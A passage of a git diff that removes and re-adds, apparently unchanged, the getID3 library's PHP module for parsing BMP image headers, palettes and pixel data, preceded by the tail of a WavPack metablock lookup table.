'Encoder Info', + 0x02 => 'Decorrelation Terms', + 0x03 => 'Decorrelation Weights', + 0x04 => 'Decorrelation Samples', + 0x05 => 'Entropy Variables', + 0x06 => 'Hybrid Profile', + 0x07 => 'Shaping Weights', + 0x08 => 'Float Info', + 0x09 => 'Int32 Info', + 0x0A => 'WV Bitstream', + 0x0B => 'WVC Bitstream', + 0x0C => 'WVX Bitstream', + 0x0D => 'Channel Info', + 0x21 => 'RIFF header', + 0x22 => 'RIFF trailer', + 0x23 => 'Replay Gain', + 0x24 => 'Cuesheet', + 0x25 => 'Config Block', + 0x26 => 'MD5 Checksum', + ); + return (isset($WavPackMetablockNameLookup[$id]) ? $WavPackMetablockNameLookup[$id] : ''); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.graphic.bmp.php b/vendor/james-heinrich/getid3/getid3/module.graphic.bmp.php index aa04f76e16..8456570112 100644 --- a/vendor/james-heinrich/getid3/getid3/module.graphic.bmp.php +++ b/vendor/james-heinrich/getid3/getid3/module.graphic.bmp.php @@ -1,720 +1,720 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.graphic.bmp.php // -// module for analyzing BMP Image files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_bmp extends getid3_handler -{ - /** - * return BMP palette - * - * @var bool - */ - public $ExtractPalette = false; - - /** - * return image data - * - * @var bool - */ - public $ExtractData = false; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // shortcuts - $info['bmp']['header']['raw'] = array(); - $thisfile_bmp = &$info['bmp']; - $thisfile_bmp_header = &$thisfile_bmp['header']; - $thisfile_bmp_header_raw = &$thisfile_bmp_header['raw']; - - // BITMAPFILEHEADER [14 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_62uq.asp - // all versions - // WORD bfType; - // DWORD bfSize; - // WORD bfReserved1; - // WORD bfReserved2; - // DWORD bfOffBits; - - $this->fseek($info['avdataoffset']); - $offset = 0; - $BMPheader = $this->fread(14 + 40); - - $thisfile_bmp_header_raw['identifier'] = substr($BMPheader, $offset, 2); - $offset += 2; - - $magic = 'BM'; - if ($thisfile_bmp_header_raw['identifier'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_bmp_header_raw['identifier']).'"'); - unset($info['fileformat']); - unset($info['bmp']); - return false; - } - - $thisfile_bmp_header_raw['filesize'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['reserved1'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['reserved2'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['data_offset'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['header_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - - - // check if the hardcoded-to-1 "planes" is at offset 22 or 26 - $planes22 = getid3_lib::LittleEndian2Int(substr($BMPheader, 22, 2)); - $planes26 = getid3_lib::LittleEndian2Int(substr($BMPheader, 26, 2)); - if (($planes22 == 1) && ($planes26 != 1)) { - $thisfile_bmp['type_os'] = 'OS/2'; - $thisfile_bmp['type_version'] = 1; - } elseif (($planes26 == 1) && ($planes22 != 1)) { - $thisfile_bmp['type_os'] = 'Windows'; - $thisfile_bmp['type_version'] = 1; - } elseif ($thisfile_bmp_header_raw['header_size'] == 12) { - $thisfile_bmp['type_os'] = 'OS/2'; - $thisfile_bmp['type_version'] = 1; - } elseif ($thisfile_bmp_header_raw['header_size'] == 40) { - $thisfile_bmp['type_os'] = 'Windows'; - $thisfile_bmp['type_version'] = 1; - } elseif ($thisfile_bmp_header_raw['header_size'] == 84) { - $thisfile_bmp['type_os'] = 'Windows'; - $thisfile_bmp['type_version'] = 4; - } elseif ($thisfile_bmp_header_raw['header_size'] == 100) { - $thisfile_bmp['type_os'] = 'Windows'; - $thisfile_bmp['type_version'] = 5; - } else { - $this->error('Unknown BMP subtype (or not a BMP file)'); - unset($info['fileformat']); - unset($info['bmp']); - return false; - } - - $info['fileformat'] = 'bmp'; - $info['video']['dataformat'] = 'bmp'; - $info['video']['lossless'] = true; - $info['video']['pixel_aspect_ratio'] = (float) 1; - - if ($thisfile_bmp['type_os'] == 'OS/2') { - - // OS/2-format BMP - // http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm - - // DWORD Size; /* Size of this structure in bytes */ - // DWORD Width; /* Bitmap width in pixels */ - // DWORD Height; /* Bitmap height in pixel */ - // WORD NumPlanes; /* Number of bit planes (color depth) */ - // WORD BitsPerPixel; /* Number of bits per pixel per plane */ - - $thisfile_bmp_header_raw['width'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['height'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['planes'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - - $info['video']['resolution_x'] = $thisfile_bmp_header_raw['width']; - $info['video']['resolution_y'] = $thisfile_bmp_header_raw['height']; - $info['video']['codec'] = 'BI_RGB '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit'; - $info['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel']; - - if ($thisfile_bmp['type_version'] >= 2) { - // DWORD Compression; /* Bitmap compression scheme */ - // DWORD ImageDataSize; /* Size of bitmap data in bytes */ - // DWORD XResolution; /* X resolution of display device */ - // DWORD YResolution; /* Y resolution of display device */ - // DWORD ColorsUsed; /* Number of color table indices used */ - // DWORD ColorsImportant; /* Number of important color indices */ - // WORD Units; /* Type of units used to measure resolution */ - // WORD Reserved; /* Pad structure to 4-byte boundary */ - // WORD Recording; /* Recording algorithm */ - // WORD Rendering; /* Halftoning algorithm used */ - // DWORD Size1; /* Reserved for halftoning algorithm use */ - // DWORD Size2; /* Reserved for halftoning algorithm use */ - // DWORD ColorEncoding; /* Color model used in bitmap */ - // DWORD Identifier; /* Reserved for application use */ - - $thisfile_bmp_header_raw['compression'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['bmp_data_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['resolution_h'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['resolution_v'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['colors_used'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['colors_important'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['resolution_units'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['reserved1'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['recording'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['rendering'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['size1'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['size2'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['color_encoding'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['identifier'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - - $thisfile_bmp_header['compression'] = $this->BMPcompressionOS2Lookup($thisfile_bmp_header_raw['compression']); - - $info['video']['codec'] = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit'; - } - - } elseif ($thisfile_bmp['type_os'] == 'Windows') { - - // Windows-format BMP - - // BITMAPINFOHEADER - [40 bytes] http://msdn.microsoft.com/library/en-us/gdi/bitmaps_1rw2.asp - // all versions - // DWORD biSize; - // LONG biWidth; - // LONG biHeight; - // WORD biPlanes; - // WORD biBitCount; - // DWORD biCompression; - // DWORD biSizeImage; - // LONG biXPelsPerMeter; - // LONG biYPelsPerMeter; - // DWORD biClrUsed; - // DWORD biClrImportant; - - // possibly integrate this section and module.audio-video.riff.php::ParseBITMAPINFOHEADER() ? - - $thisfile_bmp_header_raw['width'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); - $offset += 4; - $thisfile_bmp_header_raw['height'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); - $offset += 4; - $thisfile_bmp_header_raw['planes'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); - $offset += 2; - $thisfile_bmp_header_raw['compression'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['bmp_data_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['resolution_h'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); - $offset += 4; - $thisfile_bmp_header_raw['resolution_v'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); - $offset += 4; - $thisfile_bmp_header_raw['colors_used'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['colors_important'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - - $thisfile_bmp_header['compression'] = $this->BMPcompressionWindowsLookup($thisfile_bmp_header_raw['compression']); - $info['video']['resolution_x'] = $thisfile_bmp_header_raw['width']; - $info['video']['resolution_y'] = $thisfile_bmp_header_raw['height']; - $info['video']['codec'] = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit'; - $info['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel']; - - if (($thisfile_bmp['type_version'] >= 4) || ($thisfile_bmp_header_raw['compression'] == 3)) { - // should only be v4+, but BMPs with type_version==1 and BI_BITFIELDS compression have been seen - $BMPheader .= $this->fread(44); - - // BITMAPV4HEADER - [44 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_2k1e.asp - // Win95+, WinNT4.0+ - // DWORD bV4RedMask; - // DWORD bV4GreenMask; - // DWORD bV4BlueMask; - // DWORD bV4AlphaMask; - // DWORD bV4CSType; - // CIEXYZTRIPLE bV4Endpoints; - // DWORD bV4GammaRed; - // DWORD bV4GammaGreen; - // DWORD bV4GammaBlue; - $thisfile_bmp_header_raw['red_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['green_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['blue_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['alpha_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['cs_type'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['ciexyz_red'] = substr($BMPheader, $offset, 4); - $offset += 4; - $thisfile_bmp_header_raw['ciexyz_green'] = substr($BMPheader, $offset, 4); - $offset += 4; - $thisfile_bmp_header_raw['ciexyz_blue'] = substr($BMPheader, $offset, 4); - $offset += 4; - $thisfile_bmp_header_raw['gamma_red'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['gamma_green'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['gamma_blue'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - - $thisfile_bmp_header['ciexyz_red'] = getid3_lib::FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_red'])); - $thisfile_bmp_header['ciexyz_green'] = getid3_lib::FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_green'])); - $thisfile_bmp_header['ciexyz_blue'] = getid3_lib::FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_blue'])); - } - - if ($thisfile_bmp['type_version'] >= 5) { - $BMPheader .= $this->fread(16); - - // BITMAPV5HEADER - [16 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_7c36.asp - // Win98+, Win2000+ - // DWORD bV5Intent; - // DWORD bV5ProfileData; - // DWORD bV5ProfileSize; - // DWORD bV5Reserved; - $thisfile_bmp_header_raw['intent'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['profile_data_offset'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['profile_data_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - $thisfile_bmp_header_raw['reserved3'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); - $offset += 4; - } - - } else { - - $this->error('Unknown BMP format in header.'); - return false; - - } - - - if ($this->ExtractPalette || $this->ExtractData) { - $PaletteEntries = 0; - if ($thisfile_bmp_header_raw['bits_per_pixel'] < 16) { - $PaletteEntries = pow(2, $thisfile_bmp_header_raw['bits_per_pixel']); - } elseif (isset($thisfile_bmp_header_raw['colors_used']) && ($thisfile_bmp_header_raw['colors_used'] > 0) && ($thisfile_bmp_header_raw['colors_used'] <= 256)) { - $PaletteEntries = $thisfile_bmp_header_raw['colors_used']; - } - if ($PaletteEntries > 0) { - $BMPpalette = $this->fread(4 * $PaletteEntries); - $paletteoffset = 0; - for ($i = 0; $i < $PaletteEntries; $i++) { - // RGBQUAD - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_5f8y.asp - // BYTE rgbBlue; - // BYTE rgbGreen; - // BYTE rgbRed; - // BYTE rgbReserved; - $blue = getid3_lib::LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1)); - $green = getid3_lib::LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1)); - $red = getid3_lib::LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1)); - if (($thisfile_bmp['type_os'] == 'OS/2') && ($thisfile_bmp['type_version'] == 1)) { - // no padding byte - } else { - $paletteoffset++; // padding byte - } - $thisfile_bmp['palette'][$i] = (($red << 16) | ($green << 8) | $blue); - } - } - } - - if ($this->ExtractData) { - $this->fseek($thisfile_bmp_header_raw['data_offset']); - $RowByteLength = ceil(($thisfile_bmp_header_raw['width'] * ($thisfile_bmp_header_raw['bits_per_pixel'] / 8)) / 4) * 4; // round up to nearest DWORD boundry - $BMPpixelData = $this->fread($thisfile_bmp_header_raw['height'] * $RowByteLength); - $pixeldataoffset = 0; - $thisfile_bmp_header_raw['compression'] = (isset($thisfile_bmp_header_raw['compression']) ? $thisfile_bmp_header_raw['compression'] : ''); - switch ($thisfile_bmp_header_raw['compression']) { - - case 0: // BI_RGB - switch ($thisfile_bmp_header_raw['bits_per_pixel']) { - case 1: - for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { - for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col = $col) { - $paletteindexbyte = ord($BMPpixelData[$pixeldataoffset++]); - for ($i = 7; $i >= 0; $i--) { - $paletteindex = ($paletteindexbyte & (0x01 << $i)) >> $i; - $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; - $col++; - } - } - while (($pixeldataoffset % 4) != 0) { - // lines are padded to nearest DWORD - $pixeldataoffset++; - } - } - break; - - case 4: - for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { - for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col = $col) { - $paletteindexbyte = ord($BMPpixelData[$pixeldataoffset++]); - for ($i = 1; $i >= 0; $i--) { - $paletteindex = ($paletteindexbyte & (0x0F << (4 * $i))) >> (4 * $i); - $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; - $col++; - } - } - while (($pixeldataoffset % 4) != 0) { - // lines are padded to nearest DWORD - $pixeldataoffset++; - } - } - break; - - case 8: - for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { - for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { - $paletteindex = ord($BMPpixelData[$pixeldataoffset++]); - $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; - } - while (($pixeldataoffset % 4) != 0) { - // lines are padded to nearest DWORD - $pixeldataoffset++; - } - } - break; - - case 24: - for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { - for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { - $thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData[$pixeldataoffset+2]) << 16) | (ord($BMPpixelData[$pixeldataoffset+1]) << 8) | ord($BMPpixelData[$pixeldataoffset]); - $pixeldataoffset += 3; - } - while (($pixeldataoffset % 4) != 0) { - // lines are padded to nearest DWORD - $pixeldataoffset++; - } - } - break; - - case 32: - for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { - for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { - $thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData[$pixeldataoffset+3]) << 24) | (ord($BMPpixelData[$pixeldataoffset+2]) << 16) | (ord($BMPpixelData[$pixeldataoffset+1]) << 8) | ord($BMPpixelData[$pixeldataoffset]); - $pixeldataoffset += 4; - } - while (($pixeldataoffset % 4) != 0) { - // lines are padded to nearest DWORD - $pixeldataoffset++; - } - } - break; - - case 16: - // ? - break; - - default: - $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); - break; - } - break; - - - case 1: // BI_RLE8 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp - switch ($thisfile_bmp_header_raw['bits_per_pixel']) { - case 8: - $pixelcounter = 0; - while ($pixeldataoffset < strlen($BMPpixelData)) { - $firstbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $secondbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - if ($firstbyte == 0) { - - // escaped/absolute mode - the first byte of the pair can be set to zero to - // indicate an escape character that denotes the end of a line, the end of - // a bitmap, or a delta, depending on the value of the second byte. - switch ($secondbyte) { - case 0: - // end of line - // no need for special processing, just ignore - break; - - case 1: - // end of bitmap - $pixeldataoffset = strlen($BMPpixelData); // force to exit loop just in case - break; - - case 2: - // delta - The 2 bytes following the escape contain unsigned values - // indicating the horizontal and vertical offsets of the next pixel - // from the current position. - $colincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $rowincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $col = ($pixelcounter % $thisfile_bmp_header_raw['width']) + $colincrement; - $row = ($thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement; - $pixelcounter = ($row * $thisfile_bmp_header_raw['width']) + $col; - break; - - default: - // In absolute mode, the first byte is zero and the second byte is a - // value in the range 03H through FFH. The second byte represents the - // number of bytes that follow, each of which contains the color index - // of a single pixel. Each run must be aligned on a word boundary. - for ($i = 0; $i < $secondbyte; $i++) { - $paletteindex = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $col = $pixelcounter % $thisfile_bmp_header_raw['width']; - $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); - $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; - $pixelcounter++; - } - while (($pixeldataoffset % 2) != 0) { - // Each run must be aligned on a word boundary. - $pixeldataoffset++; - } - break; - } - - } else { - - // encoded mode - the first byte specifies the number of consecutive pixels - // to be drawn using the color index contained in the second byte. - for ($i = 0; $i < $firstbyte; $i++) { - $col = $pixelcounter % $thisfile_bmp_header_raw['width']; - $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); - $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$secondbyte]; - $pixelcounter++; - } - - } - } - break; - - default: - $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); - break; - } - break; - - - - case 2: // BI_RLE4 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp - switch ($thisfile_bmp_header_raw['bits_per_pixel']) { - case 4: - $pixelcounter = 0; - $paletteindexes = array(); - while ($pixeldataoffset < strlen($BMPpixelData)) { - $firstbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $secondbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - if ($firstbyte == 0) { - - // escaped/absolute mode - the first byte of the pair can be set to zero to - // indicate an escape character that denotes the end of a line, the end of - // a bitmap, or a delta, depending on the value of the second byte. - switch ($secondbyte) { - case 0: - // end of line - // no need for special processing, just ignore - break; - - case 1: - // end of bitmap - $pixeldataoffset = strlen($BMPpixelData); // force to exit loop just in case - break; - - case 2: - // delta - The 2 bytes following the escape contain unsigned values - // indicating the horizontal and vertical offsets of the next pixel - // from the current position. - $colincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $rowincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $col = ($pixelcounter % $thisfile_bmp_header_raw['width']) + $colincrement; - $row = ($thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement; - $pixelcounter = ($row * $thisfile_bmp_header_raw['width']) + $col; - break; - - default: - // In absolute mode, the first byte is zero. The second byte contains the number - // of color indexes that follow. Subsequent bytes contain color indexes in their - // high- and low-order 4 bits, one color index for each pixel. In absolute mode, - // each run must be aligned on a word boundary. - $paletteindexes = array(); - for ($i = 0; $i < ceil($secondbyte / 2); $i++) { - $paletteindexbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); - $paletteindexes[] = ($paletteindexbyte & 0xF0) >> 4; - $paletteindexes[] = ($paletteindexbyte & 0x0F); - } - while (($pixeldataoffset % 2) != 0) { - // Each run must be aligned on a word boundary. - $pixeldataoffset++; - } - - foreach ($paletteindexes as $paletteindex) { - $col = $pixelcounter % $thisfile_bmp_header_raw['width']; - $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); - $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; - $pixelcounter++; - } - break; - } - - } else { - - // encoded mode - the first byte of the pair contains the number of pixels to be - // drawn using the color indexes in the second byte. The second byte contains two - // color indexes, one in its high-order 4 bits and one in its low-order 4 bits. - // The first of the pixels is drawn using the color specified by the high-order - // 4 bits, the second is drawn using the color in the low-order 4 bits, the third - // is drawn using the color in the high-order 4 bits, and so on, until all the - // pixels specified by the first byte have been drawn. - $paletteindexes[0] = ($secondbyte & 0xF0) >> 4; - $paletteindexes[1] = ($secondbyte & 0x0F); - for ($i = 0; $i < $firstbyte; $i++) { - $col = $pixelcounter % $thisfile_bmp_header_raw['width']; - $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); - $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindexes[($i % 2)]]; - $pixelcounter++; - } - - } - } - break; - - default: - $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); - break; - } - break; - - - case 3: // BI_BITFIELDS - switch ($thisfile_bmp_header_raw['bits_per_pixel']) { - case 16: - case 32: - $redshift = 0; - $greenshift = 0; - $blueshift = 0; - while ((($thisfile_bmp_header_raw['red_mask'] >> $redshift) & 0x01) == 0) { - $redshift++; - } - while ((($thisfile_bmp_header_raw['green_mask'] >> $greenshift) & 0x01) == 0) { - $greenshift++; - } - while ((($thisfile_bmp_header_raw['blue_mask'] >> $blueshift) & 0x01) == 0) { - $blueshift++; - } - for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { - for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { - $pixelvalue = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset, $thisfile_bmp_header_raw['bits_per_pixel'] / 8)); - $pixeldataoffset += $thisfile_bmp_header_raw['bits_per_pixel'] / 8; - - $red = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['red_mask']) >> $redshift) / ($thisfile_bmp_header_raw['red_mask'] >> $redshift)) * 255)); - $green = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['green_mask']) >> $greenshift) / ($thisfile_bmp_header_raw['green_mask'] >> $greenshift)) * 255)); - $blue = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['blue_mask']) >> $blueshift) / ($thisfile_bmp_header_raw['blue_mask'] >> $blueshift)) * 255)); - $thisfile_bmp['data'][$row][$col] = (($red << 16) | ($green << 8) | ($blue)); - } - while (($pixeldataoffset % 4) != 0) { - // lines are padded to nearest DWORD - $pixeldataoffset++; - } - } - break; - - default: - $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); - break; - } - break; - - - default: // unhandled compression type - $this->error('Unknown/unhandled compression type value ('.$thisfile_bmp_header_raw['compression'].') - cannot decompress pixel data'); - break; - } - } - - return true; - } - - /** - * @param array $BMPinfo - * - * @return bool - */ - public function PlotBMP(&$BMPinfo) { - $starttime = time(); - if (!isset($BMPinfo['bmp']['data']) || !is_array($BMPinfo['bmp']['data'])) { - echo 'ERROR: no pixel data
                              '; - return false; - } - set_time_limit(intval(round($BMPinfo['resolution_x'] * $BMPinfo['resolution_y'] / 10000))); - if ($im = imagecreatetruecolor($BMPinfo['resolution_x'], $BMPinfo['resolution_y'])) { - for ($row = 0; $row < $BMPinfo['resolution_y']; $row++) { - for ($col = 0; $col < $BMPinfo['resolution_x']; $col++) { - if (isset($BMPinfo['bmp']['data'][$row][$col])) { - $red = ($BMPinfo['bmp']['data'][$row][$col] & 0x00FF0000) >> 16; - $green = ($BMPinfo['bmp']['data'][$row][$col] & 0x0000FF00) >> 8; - $blue = ($BMPinfo['bmp']['data'][$row][$col] & 0x000000FF); - $pixelcolor = imagecolorallocate($im, $red, $green, $blue); - imagesetpixel($im, $col, $row, $pixelcolor); - } else { - //echo 'ERROR: no data for pixel '.$row.' x '.$col.'
                              '; - //return false; - } - } - } - if (headers_sent()) { - echo 'plotted '.($BMPinfo['resolution_x'] * $BMPinfo['resolution_y']).' pixels in '.(time() - $starttime).' seconds
                              '; - imagedestroy($im); - exit; - } else { - header('Content-type: image/png'); - imagepng($im); - imagedestroy($im); - return true; - } - } - return false; - } - - /** - * @param int $compressionid - * - * @return string - */ - public function BMPcompressionWindowsLookup($compressionid) { - static $BMPcompressionWindowsLookup = array( - 0 => 'BI_RGB', - 1 => 'BI_RLE8', - 2 => 'BI_RLE4', - 3 => 'BI_BITFIELDS', - 4 => 'BI_JPEG', - 5 => 'BI_PNG' - ); - return (isset($BMPcompressionWindowsLookup[$compressionid]) ? $BMPcompressionWindowsLookup[$compressionid] : 'invalid'); - } - - /** - * @param int $compressionid - * - * @return string - */ - public function BMPcompressionOS2Lookup($compressionid) { - static $BMPcompressionOS2Lookup = array( - 0 => 'BI_RGB', - 1 => 'BI_RLE8', - 2 => 'BI_RLE4', - 3 => 'Huffman 1D', - 4 => 'BI_RLE24', - ); - return (isset($BMPcompressionOS2Lookup[$compressionid]) ? $BMPcompressionOS2Lookup[$compressionid] : 'invalid'); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.graphic.bmp.php // +// module for analyzing BMP Image files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_bmp extends getid3_handler +{ + /** + * return BMP palette + * + 